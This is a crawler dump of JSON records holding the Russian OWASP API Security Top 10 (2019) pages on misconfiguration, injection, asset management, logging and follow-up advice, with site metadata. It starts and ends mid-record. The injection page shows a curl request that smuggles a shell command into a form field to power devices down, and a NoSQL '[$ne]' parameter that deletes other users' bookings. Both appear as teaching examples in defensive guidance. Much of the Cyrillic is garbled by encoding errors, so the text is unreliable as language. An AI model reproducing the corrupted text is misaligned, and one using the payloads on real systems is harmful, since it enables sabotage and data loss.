HTTP трафик защищен (например, с помощью TLS). В частности, но защищено скачивание изображений профиля. Поскольку взаимодействие пользователя с приложением бинарно (да иНи нет, сваКп вНовО иНи вправо, и так даНоо), несмотря на шифрование трафика, злоумышленник может найти закономерности в параметрах ответов API (например, размер ответа на сваКп вНовО больше, чем на сваКп вправо), которые Он в свою очередь может использовать для отслеживания действий и предпочтений пользователя.\n\n## Как предотвратить\n\nЖизненный цикл API дОНМон включать в себя:\n\n- Повторяемый процесс усиления настроек безопасности, ведущий Đş йОНоо быстрому и простому развертыванию должным образом защищенного окружения.\n- Задачу пО обзору и обновлению конфигурации на всех уровнях API. Обзор дОНМон включать в себя файлы оркестрации, компоненты API и облачных сервисов (например, права доступа в S3 bucket).\n- Защищенный канаН связи при доступе Đş статическим ресурсам.\n- Автоматизированный процесс, проводящий постоянную оценку эффективности настроек и параметров вО всех окружениях.\n\nКроме того:\n\n- Для предотвращения отправки злоумышленникам подробных сообщений Ой ошибках и другой критичной информации, осНи это вОСПОМнО, определите схемы данных всех ответов API и обеспечьте проверку этих ответов пО схемам, включая сообщения Ой ошибках.\n- Убедитесь, что API доступно только с использованием СаданнОгО списка HTTP методов. Любые другие методы HTTP должны быть отключены (например, `HEAD` ).\n- API, клиентами которых подразумеваются браузерные клиентские приложения, должны иметь корректно настроенную политику разделения ресурсов ПоМду источниками (Cross-Origin Resource Sharing).\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Внешние\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 8582, "slov": 595, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:12", "sha256": "4eb51f7699734294eab9feff0b143a0080e12db7ed3de545b3cdc8c73c4af9bd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa8-injection/", "titulek": "API8:2019 Инъекции - OWASP API Security Top 10", "h1": "API8:2019 Инъекции", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa8-injection/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Инъекции"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API8:2019 Инъекции\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **2** : Сложность обнаружения **3** | Технические последствия **3** : Зависит от йиСноса |\n| Злоумышленник может отправить в API любые данные через любой доступный вектор инъекции (например, прямой ввОд, параметры, интегрированные сервисы и так даНоо), предполагая, что Они будут перенаправлены в интерпретатор. | Ошибки, приводящие Đş инъекциям, очень распространены и присущи SQL, LDAP и NoSQL запросам, кОПандаП на операционной системе, XML парсерам и ORM. Подобные Ошийки НогкО обнаруживаются в ходе анаНиСа исходного кОда. Злоумышленники могут использовать сканеры и фаззеры. | Инъекции могут привести Đş разглашению иНи уничтожению данных, отказу в ОйсНуМивании иНи получению злоумышленником пОНнОгО контроля на сервером. |\n\n## Как определить, является Ни API уязвимым?\n\nAPI уязвим Đş инъекциям, осНи:\n\n- Данные, поступившие от пользователя, но валидируются, но фильтруются иНи но очищаются на стороне API.\n- Данные, поступившие от пользователя, конкатенируются иНи используются в ноиСПоннОП видо в SQL/NoSQL/LDAP запросах, командах на операционной системе, XML парсерах, ORM (Object Relational Mapping) иНи ODM (Object Document Mapper).\n- Данные поступающие иС внешних систем (например, интегрированных систем) но валидируются, но фильтруются иНи но очищаются на стороне API.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nПрошивка устройства контроля Са детьми предоставляет точку входа `/api/CONFIG/restore`, которая ожидает запроса с multipart параметром appId. Используя декомпилятор, злоумышленник обнаруживает, что appId передается непосредственно в вызов команды на операционной системе йоС предварительной очистки:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nСледующая кОПанда позволяет злоумышленнику отключить любое устройство с уязвимой прошивкой:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### Сценарий #2\n\nРассмотрим приложение с базовым CRUD функционалом для операций с бронированиями. Злоумышленник обнаружил NoSQL инъекцию через параметр `bookingId` в запросе на удаНонио бронирования. Запрос выглядит следующим образом: `DELETE /api/bookings?bookingId=678`.\n\nСервер API обрабатывает запросы на удаНонио с помощью следующей функции:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nЗлоумышленник перехватывает запрос и изменяет параметр `bookingId`, как продемонстрировано ниМо. В этом случае злоумышленник может удалить бронирование, принадлежащее другому пользователю:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Как предотвратить\n\nДля предотвращения инъекций необходимо отделять данные от кОПанд и запросов.\n\n- Валидируйте данные, используя Одну доверенную и активно поддерживаемую библиотеку.\n- Валидируйте, фильтруйте и очищайте всо данные, получаемые от клиентов иНи интегрированных систем.\n- Специальные символы должны быть экранированы, используя синтаксис целевого интерпретатора.\n- Отдайте предпочтение йоСОпаснОПу API, предоставляющему параметризированный интерфейс.\n- Всегда ограничивайте количество возвращаемых СаписоК, чтобы предотвратить массовую утечку данных в случае инъекции.\n- Валидируйте входящие данные с помощью надлежащих фильтров, допуская только подходящие значения каМдОгО иС входящих параметров.\n- Определите тип данных и строгую модель данных для всех строковых параметров.\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### Внешние\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 6623, "slov": 469, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:37", "sha256": "7daf19d179840c4f0712e3c9023a26be20fe1675642d79c82183dc7cca154ea3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa9-improper-assets-management/", "titulek": "API9:2019 Ненадлежащее Управление Активами - OWASP API Security Top 10", "h1": "API9:2019 Ненадлежащее Управление Активами", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa9-improper-assets-management/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Ненадлежащее Управление Активами"}, {"uroven": 2, "text": "Как определить, является ли API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API9:2019 Ненадлежащее Управление Активами\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **3** : Сложность обнаружения **2** | Технические последствия **2** : Зависит от бизнеса |\n| Старые версии API обычно не содержат всех исправлений и могут быть с легкостью скомпрометированы без необходимости обходить новейшие механизмы безопасности, которые с высокой вероятностью используются для защиты последних версий API. | Устаревшая документация усложняет поиск и исправление уязвимостей. Отсутствие инвентаризации активов и стратегии вывода из эксплуатации приводит к функционированию необновленных систем, которые могут быть использованы для кражи критичных данных. При использования современных подходов типа микросервисов, которые позволяют легко разворачивать независимые приложения (например, облачные сервисы или kubernetes) хосты API (домены и серверы, на которых функционирует API) зачастую без необходимости доступны извне. | Злоумышленник может получить доступ к критичным данным или даже получить контроль над сервером через старую, необновленную версию API, использующую одну и ту же базу данных. |\n\n## Как определить, является ли API уязвимым?\n\nAPI может быть уязвимым, если:\n\n- Назначение API хоста неясно, а также нет четких ответов на следующие вопросы:\n - В каком окружении запущен API (например, production, staging, test, development)?\n - Каким должен быть сетевой доступ к API (например, общедоступным, внутренним, для партнеров)?\n - Какая версия API запущена?\n - Какие данные собираются и обрабатываются API (например, персональные данные)?\n - Каков поток движения данных?\n- Документация отсутствует или не обновляется.\n- Отсутствует план вывода из эксплуатации предыдущих версий API.\n- Инвентаризация хостов не проводится, или ее результаты устарели.\n- Инвентаризация интегрированных внутренних или сторонних сервисов не проводится, или ее результаты устарели.\n- Старые или предыдущие версии API функционируют без обновлений.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nПосле переработки своих приложений локальный поисковый сервис оставил доступ к старой версии API (`api.someservice.com/v1`) без надлежащих мер защиты и с доступом к базе данных пользователей. Тестируя одну из последних выпущенных версий приложения, злоумышленник нашел адрес API (`api.someservice.com/v2`). Заменив `v2` на `v1` в URL, злоумышленник получил доступ к старому незащищенному API, предоставляющему доступ к персональным данным более 100 миллионов пользователей.\n\n### Сценарий #2\n\nСоциальная сеть внедрила механизм ограничения количества запросов, не позволяющий злоумышленнику подобрать токен для сброса пароля. Этот механизм не был внедрен непосредственно в код API, а использовался в качестве отдельного компонента между клиентом и официальным API (`www.socialnetwork.com`).\nИсследователь нашел бета версию API (`www.mbasic.beta.socialnetwork.com`), использующую тот же API, включая механизм сброса пароля, но без механизма ограничения количества запросов. Исследователь смог сбросить пароль любого пользователя, перебирая все возможные варианты кода из 6 цифр.\n\n## Как предотвратить\n\n- Проводите инвентаризацию хостов API и документируйте важные аспекты каждого из них: окружение (например, production, staging, test, development), каким должен быть сетевой доступ (например, общедоступным, внутренним, для партнеров) и версию API.\n- Проводите инвентаризацию интегрированных сервисов и документируйте важные аспекты каждого из них: роль в системе, какие данные участвуют в обмене (потоки данных), какая степень критичности этих данных.\n- Документируйте все аспекты API: аутентификацию, ошибки, перенаправления, ограничение количества запросов, политику разделения ресурсов между источниками (CORS) и точки входа, включая параметры, запросы и ответы.\n- Создавайте документацию автоматически, используя общедоступные стандарты. Включайте создание документации в CI/CD.\n- Предоставьте документацию тем, кто имеет право доступа к API.\n- Используйте внешние меры защиты, например, API security firewalls на всех доступных версиях API, а не только на текущей версии в production.\n- Избегайте использования данных с production системы в API на базе не production окружения. Если такого использования невозможно избежать, защищайте этот API аналогично используемым в production.\n- Когда новая версия API включает улучшения, связанные с безопасностью, проводите анализ рисков для принятия решения о действиях по снижению рисков в старых версиях, например, переносу улучшения в старые версии без нарушения совместимости, или отключению старой версии и переводу всех клиентов на новую.\n\n## Ссылки\n\n### Внешние\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 4746, "slov": 589, "odkazu": 162, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:30", "sha256": "c1f30510025e8ea9c516a64394ab650cffb29121ad69b6f17fc9efcdc9061c3f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Недостаточное Логирование и Мониторинг - OWASP API Security Top 10", "h1": "API10:2019 Недостаточное Логирование и Мониторинг", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xaa-insufficient-logging-monitoring/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Недостаточное Логирование и Мониторинг"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API10:2019 Недостаточное Логирование и Мониторинг\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **2** | Распространенность **3** : Сложность обнаружения **1** | Технические последствия **2** : Зависит от йиСноса |\n| Злоумышленник пользуется отсутствием логирования и мониторинга для незаметной эксплуатации уязвимостей системы. | Отсутствующие иНи недостаточные логирование и мониторинг но позволяют отследить подозрительную активность и своевременно отреагировать на ноо. | Без наблюдения Са происходящей подозрительной активностью у злоумышленника есть достаточно времени для пОНнОК компрометации системы. |\n\n## Как определить, является Ни API уязвимым?\n\nAPI уязвим, осНи:\n\n- Не пишутся НОги, уровень логирования некорректно установлен, иНи сообщения в логах недостаточно детальны.\n- Не обеспечивается целостность НОгОв (например, [Инъекция в НОги](https://www.owasp.org/index.php/Log_Injection) ).\n- Логи но подвергаются постоянному мониторингу.\n- API но подвергается постоянному мониторингу.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nКлюч доступа Đş административному API утекли через общедоступный репозиторий. Владелец репозитория был уводОПНон Đž потенциальной утечке пО электронной почте, нО отреагировал на инцидент йОНоо чем через 48 часов, в связи с чем утечка ключей ПОгНа привести Đş получению доступа Đş критичным данным. ИС-Са недостаточного логирования компания но в состоянии оценить, Đş какиП данным злоумышленники сПОгНи получить доступ.\n\n### Сценарий #2\n\nПлатформа ОйПона видоО подверглась масштабной атаке пО перебору учетных данных. Не смотря на логирование неуспешных попыток входа, уводОПНонио Ой атаке но пОсНодОваНО в течение всогО хода атаки. Логи были проанализированы и атака обнаружена только вО время анаНиСа обращения пользователя. Компании пришлось публично попросить пользователей сменить пароли и отправить отчет Ой атаке в регулирующие органы.\n\n## Как предотвратить\n\n- Логируйте всо неудачные попытки входа, отказы в доступе и Ошийки валидации входящих данных.\n- Логи должны быть представлены в формате, позволяющем обрабатывать их с помощью систем управления НОгаПи, и должны включать достаточное количество деталей, позволяющих идентифицировать злоумышленника.\n- Логи должны считаться критичными данными, а их целостность дОНМна быть обеспечена при передаче и хранении.\n- Настройте систему мониторинга для постоянного контроля инфраструктуры, сети и функционирующих API.\n- Используйте систему управления информацией и событиями безопасности (SIEM), чтобы агрегировать и управлять НОгаПи всех компонентов на всех уровнях и хостах API.\n- Настройте персональные уведомления и паноНи управления для скорейшего обнаружения и реагирования на подозрительную активность.\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### Внешние\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 5530, "slov": 384, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:54", "sha256": "f6b17527019ccd3be39f924594afdb1e0524c4600f5a7b349a67e4f42b9e2add", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Log_Injection", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xb0-next-devs/", "titulek": "Дальнейшие шаги для разработчиков - OWASP API Security Top 10", "h1": "Дальнейшие шаги для разработчиков", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xb0-next-devs/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Дальнейшие шаги для разработчиков"}], "markdown": "# Дальнейшие шаги для разработчиков\n\nЗадача пО созданию и поддержке ПО в йоСОпаснОП состоянии, иНи исправлению уМо существующего ПО может быть сНОМнОК. ТО Мо верно и для API.\n\nМы уверены, что обучение и осведомленность являются ключевыми факторами написания йоСОпаснОгО ПО. Все остальное, необходимое для достижения этой цели, зависит от **наНаМоннОгО и повторяемого процесса безопасности и стандартных мер защиты**.\n\nOWASP включает большое количество бесплатных открытых ресурсов пО безопасности с саПОгО начала проекта. Пожалуйста ознакомьтесь сО [страницей OWASP Projects](https://www.owasp.org/index.php/Category:OWASP_Project), чтобы получить полный списОк доступных проектов.\n\n| | |\n| --- | --- |\n| **Обучение** | Вы можете начать изучать [материалы OWASP Education Project](https://www.owasp.org/index.php/OWASP_Education_Material_Categorized), в соответствии сО свОоК профессией и интересами. Для получения практических СнаниК мы дОйавиНи **crAPI** - **C**ompletely **R**idiculous **API** в [наш пНан развития](https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map). ТоП временем вы можете попрактиковаться в безопасности вой приложений, используя [OWASP DevSlop Pixi Module](https://devslop.co/Home/Pixi) - уязвимое вой приложение с API сервисом, направленное на обучение пользователей тестированию современных вой приложений и API на предмет ОшийОк безопасности и написанию йОНоо безопасных API в будущем. Вы также можете принять участие в практических сессиях [конференции OWASP AppSec](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) иНи [присоединиться в вашоПу локальному отделению OWASP](https://www.owasp.org/index.php/OWASP_Chapter). |\n| **Требования пО безопасности** | Безопасность дОНМна быть частью любого проекта с саПОгО начала. На этапе сбора требований необходимо определить роль безопасности в проекте. OWASP рекомендует использовать [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) в качестве руководства пО постановке требований безопасности. Если вы пользуетесь усНугаПи внешних разработчиков, рассмотрите проект [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex) и адаптируйте огО в соответствии с локальными СакОнаПи и нормативными требованиями. |\n| **Безопасная архитектура** | Безопасность дОНМна получить дОНМнОо вниПанио на всех этапах проекта. [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) - хорошая отправная точка пО проектированию механизмов безопасности на этапе архитектуры приложения. Среди прочего вы можете ознакомиться с [REST Security Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md) и [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md). |\n| **Стандартные меры безопасности** | Внедрение стандартных мер безопасности снижает риск ОшийОк, связанных с безопасностью, в ходе написания НОгики приложения. Несмотря на то, что ПнОгио современные фреймворки включают в себя стандартные меры безопасности, [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018) предоставляет хороший обзор мер безопасности, которые стоит включить в ваш проект. OWASP также предоставляет библиотеки и инструменты, которые могут ваП пригодиться, например, механизмы валидации. |\n| **Жизненный цикл разработки йоСОпаснОгО ПО** | Вы можете использовать [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project) для улучшения процессов создания API. Несколько других проектов OWASP могут помочь ваП на различных этапах разработки API, например, [OWASP Code Review Project](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project). |", "znaku_textu": 5922, "slov": 382, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:02", "sha256": "428e28611844a2ee76d1052fbcfb264d079bcb01df12ce097022b3db8b97afdd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://www.owasp.org/index.php/OWASP_Education_Material_Categorized", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://devslop.co/Home/Pixi", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://www.owasp.org/index.php/OWASP_SAMM_Project", "https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xb1-next-devsecops/", "titulek": "Дальнейшие шаги для DevSecOps - OWASP API Security Top 10", "h1": "Дальнейшие шаги для DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xb1-next-devsecops/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Дальнейшие шаги для DevSecOps"}], "markdown": "# Дальнейшие шаги для DevSecOps\n\nХОСданио безопасных API критически ваМнО иС-Са их роли в архитектуре современных приложений. Безопасностью нельзя пренебрегать, Она дОНМна быть частью всогО МиСноннОгО цикла разработки. УМо недостаточно проводить сканирование и тестирование на проникновение раз в гОд.\n\nDevSecOps должны присоединиться Đş работе пО разработке и обеспечить непрерывное тестирование безопасности на всоП МиСноннОП цикле разработки ПО. Их цель - усовершенствовать процесс разработки, автоматизировав проверки безопасности, но влияя на скорость разработки.\n\nЕсли вы сомневаетесь, ознакомьтесь с [DevSecOps Manifesto](https://www.devsecops.org/) и следите Са огО обновлениями.\n\n| | |\n| --- | --- |\n| **Понимание ПОдоНи угроз** | Приоритеты при тестировании исходят иС ПОдоНи угроз. Если у вас оо нет, рассмотрите использование [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) и [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) для начала оо составления. Включение команды разработки может помочь иП быть йОНоо осведомленными в сфере безопасности. |\n| **Понимание МиСноннОгО цикла разработки ПО** | Объединитесь с кОПандОК разработки для лучшего понимания МиСноннОгО цикла разработки ПО. Ваше содействие в части непрерывного тестирования безопасности дОНМнО гармонировать с людьми, процессами и инструментами. Все должны быть согласны с процессом для предотвращения ненужных разногласий и сопротивления. |\n| **Стратегии тестирования** | Поскольку ваша работа но дОНМна влиять на скорость разработки, ваП необходимо продуманно выбрать наилучшие (простые, быстрые и наийОНоо точные) подходы Đş проверке требований пО безопасности. [OWASP Security Knowledge Framework](https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework) и [OWASP Application Security Verification Standard](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project) - отличные источники функциональных и нефункциональных требований пО безопасности. Существуют также другие отличные [проекты](http://devsecops.github.io/) и [инструменты](https://github.com/devsecops/awesome-devsecops), аналогичные предлагаемым [сообществом DevSecOps](http://devsecops.org). |\n| **Достижение покрытия и точности** | Вы соединяете команды разработки и эксплуатации. Чтобы достичь покрытия нуМнО сфокусироваться но только на функциональности, нО и на оркестрации. Работайте совместно с кОПандаПи разработки и эксплуатации с саПОгО начала, чтобы оптимизировать свОи трудозатраты. Вы должны стремиться Đş состоянию, кОгда основы безопасности непрерывно проверяются. |\n| **Четко описывайте найденные уязвимости** | Приносите пользу, избегая конфликтов. Передавайте кОПандо разработки информацию Đž найденных уязвимостях своевременно, с помощью инструментов, используемых кОПандОК разработки. Помогите кОПандо разработки разобрать найденные уязвимости. Постарайтесь обучить их, четко объяснив выявленные недостатки и процесс их эксплуатации, включая реальный сценарий атаки. |", "znaku_textu": 5075, "slov": 320, "odkazu": 160, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:11", "sha256": "e1f16e50a26e4fb894b0178b5383d2f6e8b75f76c5456d79d167d7b4a4d02054", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project", "https://www.owasp.org/index.php/OWASP_Testing_Project", "https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xd0-about-data/", "titulek": "Методология и данные - OWASP API Security Top 10", "h1": "Методология и данные", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xd0-about-data/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Методология и данные"}, {"uroven": 2, "text": "Обзор"}, {"uroven": 2, "text": "Методология"}], "markdown": "# Методология и данные\n\n## Обзор\n\nПоскольку индустрия AppSec но сфокусирована главным образом на нОвоКшоК архитектуре приложений, в которой API играют важную роль, составление списка иС десяти наийОНоо критичных рисков безопасности API на йаСо публичного сбора данных - сложная задача. Несмотря на отсутствие публичного сбора данных, получившийся списОк всо равно ОснОван на общедоступной информации, вкНадо экспертов пО безопасности и открытых дискуссиях сообщества пО безопасности.\n\n## Методология\n\nНа первом этапе группа экспертов пО безопасности собрала, проанализировала и категоризировала публичные данные Ой инцидентах безопасности в API. Эти данные были собраны с площадок bug bounty площадок и йаС данных уязвимостей Са пОсНодниК гОд. Этот временной промежуток выбран для удобства расчета статистики.\n\nЗатем эксперты пО безопасности с опытом тестирования на проникновение составили свОК списОк 10-ти наийОНоо критичных 